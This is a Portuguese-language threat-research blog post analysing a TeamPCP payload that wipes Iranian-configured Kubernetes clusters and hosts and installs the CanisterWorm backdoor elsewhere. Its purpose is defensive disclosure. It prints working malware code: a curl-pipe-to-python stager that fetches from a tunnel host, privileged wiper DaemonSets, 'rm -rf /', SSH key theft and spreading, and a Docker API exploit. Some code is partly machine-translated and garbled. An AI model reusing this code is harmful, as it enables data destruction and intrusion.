Aikido

CanisterWorm Ganha Dentes: Wiper de Kubernetes do TeamPCP Ataca o Irã

Escrito por
Charlie Eriksen

Encontramos um novo payload no arsenal do TeamPCP, e este não apenas rouba credenciais ou instala backdoors. Ele apaga clusters inteiros de Kubernetes.

O script usa o mesmo canister ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que documentamos na campanha CanisterWorm. Mesmo C2, mesmo código de backdoor, mesmo /tmp/pglog drop path. O movimento lateral nativo do Kubernetes via DaemonSets é consistente com o playbook conhecido do TeamPCP, mas esta variante adiciona algo que não vimos antes deles: um payload destrutivo com alvo geopolítico, direcionado especificamente a sistemas iranianos.

Detalhes de alto nível

Como o post do blog contém muitos detalhes técnicos, aqui está um resumo das observações mais importantes que fizemos:

  • 🐙 Mesmo C2 de canister ICP que o CanisterWorm (tdtqy-oyaaa-aaaae-af2dq-cai)
  • 🎯 O Payload verifica fuso horário e localidade para identificar sistemas iranianos
  • ☸️ No Kubernetes: implanta DaemonSets privilegiados em cada nó, incluindo o plano de controle
    • 💀 Nós iranianos são apagados e reiniciados à força via um Container chamado kamikaze
    • 🔒 Nós não iranianos têm o backdoor CanisterWorm instalado como um serviço systemd
  • 💣 Hosts iranianos não-K8s recebem rm -rf / --no-preserve-root
  • 🐘 Persistência disfarçada como ferramentas PostgreSQL: pglog, pg_state, internal-monitor
  • 🔄 Múltiplos domínios de túnel Cloudflare observados em rotação como infraestrutura de entrega de payload
  • 🪱 A variante mais recente adiciona movimento lateral baseado em rede
    • 🔑 Disseminação via SSH por meio de chaves roubadas e análise de logs de autenticação
    • 🐳 Explora APIs Docker expostas na porta 2375 através da sub-rede local

O stager

A princípio, observamos que ele apenas apontava para https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , que continha um único payload. Mais tarde, ele dividiu o payload em dois arquivos, como mostrado abaixo.

#!/usr/bin/env bash
set -euo pipefail

if ! command -v kubectl &>/dev/null; then
    ARCH="amd64"
    [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
    curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
    chmod +x /tmp/kubectl
    export PATH="/tmp:$PATH"
fi

PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -

rm -- "$0"

O que se pode observar é que ele baixa kubectl se ainda não estiver instalado. Em seguida, ele baixa kube.py do mesmo host, e o executa, antes de se autoexcluir. O código realmente interessante está contido nele. Aqui estão as últimas linhas do script, que delineia claramente a intenção do código, que detalharemos a seguir:

se __name__ == "__main__":
    se is_k8s():
        se is_iran():
            deploy_destructive_ds()
        caso contrário:
            deploy_std_ds()
    caso contrário:
        se is_iran():
            poison_pill()
        sys.exit(1)

Como ele escolhe seu alvo

A primeira coisa que o payload faz é descobrir onde está sendo executado. Duas verificações:

def is_k8s():
    return os.path.exists("secrets.io/serviceaccount") ou \
           "KUBERNETES_SERVICE_HOST" em os.environ

Detecção padrão de pods Kubernetes. Cada pod recebe uma conta de serviço montada por padrão.

Em seguida, isto:

def is_iran():
    tz = ""
    if os.path.exists("/etc/timezone"):
        com open("/etc/timezone", "r") como f:
            tz = f.read().strip()
    caso contrário:
        try:
            tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"], 
                                         stderr=subprocess.DEVNULL).decode().strip()
        exceto:
            pass
    
    lang = os.environ.get("LANG", "")
    return tz em ["Asia/Tehran", "Irão"] ou "fa_IR" em lang

Ele verifica o fuso horário e o locale do sistema. Se a máquina estiver configurada para o Irã (Asia/Tehran, Iran, ou fa_IR), o payload segue um caminho muito diferente.

Quatro caminhos, um script

A árvore de decisão é simples e brutal:

  • Kubernetes + Irã: Implanta um DaemonSet que apaga todos os nós no cluster
  • Kubernetes + em outro lugar: Implanta um DaemonSet que instala o backdoor CanisterWorm em cada nó
  • Sem Kubernetes + Irã: rm -rf / --no-preserve-root
  • No Kubernetes + em outros lugares: Sair. Nada acontece.

O limpador: "kamikaze"

O DaemonSet direcionado ao Irã é chamado de host-provisioner-iran. O Container dentro dele é nomeado kamikaze. Isso não é sutil.

def deploy_destructive_ds():
    ds_name = "host-provisioner-iran"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: kamikaze
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
            chroot /mnt/host reboot -f
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

O DaemonSet monta o sistema de arquivos raiz do host em /mnt/host, exclui tudo no nível superior e, em seguida, reinicia à força. Por ser um DaemonSet com tolerations: [operator: Exists], ele é agendado em cada nó do cluster, incluindo o plano de controle. Um kubectl apply e o cluster inteiro é inutilizado.

O caminho de persistência

Para alvos não iranianos, o DaemonSet (host-provisioner-std) é menos dramático, mas mais útil operacionalmente. Ele escreve o backdoor CanisterWorm em cada nó e o registra como um serviço systemd:

def deploy_std_ds():
    ds_name = "host-provisioner-std"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: provisioner
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
            echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
            cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
            [Unit]
            Description=System Monitor
            After=network.target

            [Service]
            ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
            Restart=always
            RestartSec=5

            [Install]
            WantedBy=multi-user.target
            EOF_UNIT
            chroot /mnt/host systemctl daemon-reload
            chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
            sleep infinity
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

O backdoor é o mesmo que documentamos na postagem sobre o CanisterWorm. Ele consulta o canister ICP a cada 50 minutos para uma URL binária, baixa e executa o que for instruído. O youtube[.]com kill switch ainda está presente.

A "pílula do veneno"

Para sistemas iranianos que não usam Kubernetes, a abordagem é mais grosseira:

def poison_pill():
    cmd = "rm -rf / --no-preserve-root"
    if os.getuid() == 0:
        os.system(cmd)
    else:
        os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")

Se for root, ele limpa o sistema. Se não, ele tenta sudo sem senha e, em seguida, tenta de qualquer forma. Mesmo sem root, ele destruirá tudo o que o usuário possui.

Por que isso importa

O TeamPCP tem sido documentado como um ator de ameaças nativo da Cloud desde o final de 2025, visando APIs Docker mal configuradas, clusters Kubernetes e pipelines CI/CD. Seu playbook (impressão digital do ambiente, ramificação específica do Kubernetes) tem sido consistente. Mas o comprometimento do Trivy e a campanha CanisterWorm mostraram que eles poderiam operar em escala de supply chain, e este payload mostra que eles estão preparados para serem destrutivos quando quiserem.

O que procurar

Verifique por DaemonSets em kube-system que você não criou:

kubectl get ds -n kube-system

Procure por host-provisioner-iran ou host-provisioner-std. Também audite qualquer DaemonSet que monte hostPath: / com um contexto de segurança privilegiado. Essa combinação nunca deve aparecer fora de agentes de nível de infraestrutura como o próprio kubelet.

No lado do host, verifique por:

  • Um serviço systemd chamado internal-monitor (systemctl status internal-monitor)
  • Arquivos em /var/lib/svc_internal/runner.py
  • Processos nomeados pglog em /tmp/
  • Conexões de saída para icp0[.]io domínios

Atualização: Agora ele se espalha

Uma terceira iteração do payload acabou de surgir, hospedada em https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py Mesmo backdoor de canister ICP, mesmo wiper do Irã, mas este não precisa de Kubernetes. Ele se espalha sozinho.

As versões anteriores dependiam de DaemonSets para se moverem por um cluster. Esta variante abandona isso completamente e o substitui por dois métodos de movimento lateral: roubo de chaves SSH e exploração de APIs Docker expostas. Ele também escaneia a sub-rede local /24 em busca de novos alvos.

Veja como ele encontra máquinas para atacar:

def get_accepted_targets():
    targets = {}
    for path in ["/var/log/auth.log", "/var/log/secure"]:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    for line in f:
                        if "Accepted" in line:
                            match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
                            if match:
                                user, ip = match.groups()
                                if ip not in targets: targets[ip] = []
                                if user not in targets[ip]: targets[ip].append(user)
            except: pass
    return targets

Ele analisa /var/log/auth.log e /var/log/secure para logins SSH bem-sucedidos, extraindo tanto o nome de usuário quanto o IP de origem. Estes se tornam pares de propagação direcionados. Para qualquer IP que ele encontra na sub-rede que não estava nos logs de autenticação, ele recorre a tentar root, ubuntu, administrador, e ec2-user.

Então ele captura todas as chaves privadas SSH que consegue encontrar:

chaves = []
ssh_base = os.path.expanduser("~/.ssh")
para t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
    p = os.path.join(ssh_base, t)
    if os.path.exists(p): keys.append(p)

Para cada alvo, ele verifica duas portas. A porta 22 recebe a propagação SSH:

cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
       "-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
       f"echo {b64_logic} | base64 -d | bash"]

A porta 2375 recebe o exploit da API Docker, criando um Container privilegiado com o root do host montado:

payload = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
    "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})

Ambos os caminhos entregam o mesmo get_remote_logic() payload, que executa a verificação de fuso horário do Irã no host remoto. Alvos iranianos são limpos, todos os outros recebem o pgmon.py backdoor instalado como um serviço systemd.

O próprio wiper mudou. As versões anteriores usavam rm -rf / --no-preserve-root em hosts não-K8s, enquanto a variante DaemonSet usava find / -maxdepth 1 ... -exec rm -rf {} + com uma reinicialização forçada. Esta versão padroniza a find abordagem com reboot -f de forma geral:

find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f

Isso vem diretamente das ferramentas anteriores do TeamPCP proxy.sh e pcpcat.py de onde eles escaneavam por APIs Docker expostas e espalhavam chaves SSH por sub-redes. A diferença é que essas ferramentas eram scripts autônomos de construção de infraestrutura. Esta carrega o backdoor CanisterWorm e o wiper do Irã consigo.

Algumas outras mudanças das versões anteriores: o nome do serviço mudou de internal-monitor para pgmonitor, o caminho de instalação mudou de /var/lib/svc_internal/ para /var/lib/pgmon/, e a descrição do systemd agora é "Postgres Monitor Service". A camuflagem do PostgreSQL está ficando mais consistente.

Indicadores de Comprometimento

Rede

  • tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (ICP canister C2 dead-drop)
  • https://souls-entire-defined-routes.trycloudflare[.]com/ (entrega de payload, primeira)
  • https://investigation-launches-hearings-copying.trycloudflare[.]com/ (entrega de payload, segunda)
  • https://championships-peoples-point-cassette.trycloudflare[.]com (entrega de payload, terceiro)

Kubernetes

  • DaemonSet host-provisioner-iran em kube-system
  • DaemonSet host-provisioner-std em kube-system
  • Nomes de Container: kamikaze, provisionador

Host

  • /var/lib/svc_internal/runner.py
  • /etc/systemd/system/internal-monitor.service
  • /tmp/pglog
  • /tmp/.pg_state
  • /var/lib/pgmon/pgmon.py
  • /etc/systemd/system/pgmonitor.service
  • Serviço Systemd: pgmonitor (Descrição: "Postgres Monitor Service")
  • Serviço Systemd: internal-monitor

Indicadores de movimento lateral

  • Conexões SSH de saída com StrictHostKeyChecking=no de hosts comprometidos
  • Conexões de saída para a porta 2375 (Docker API) através da sub-rede local
  • Containers Alpine privilegiados criados via Docker API não autenticada com hostPath: / bind mount

... Notícia em desenvolvimento. Fique atento para atualizações.

Compartilhar:

https://www.aikido.dev/blog/teampcp-stage-payload-canisterworm-iran

Assine para receber notícias sobre ameaças.

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.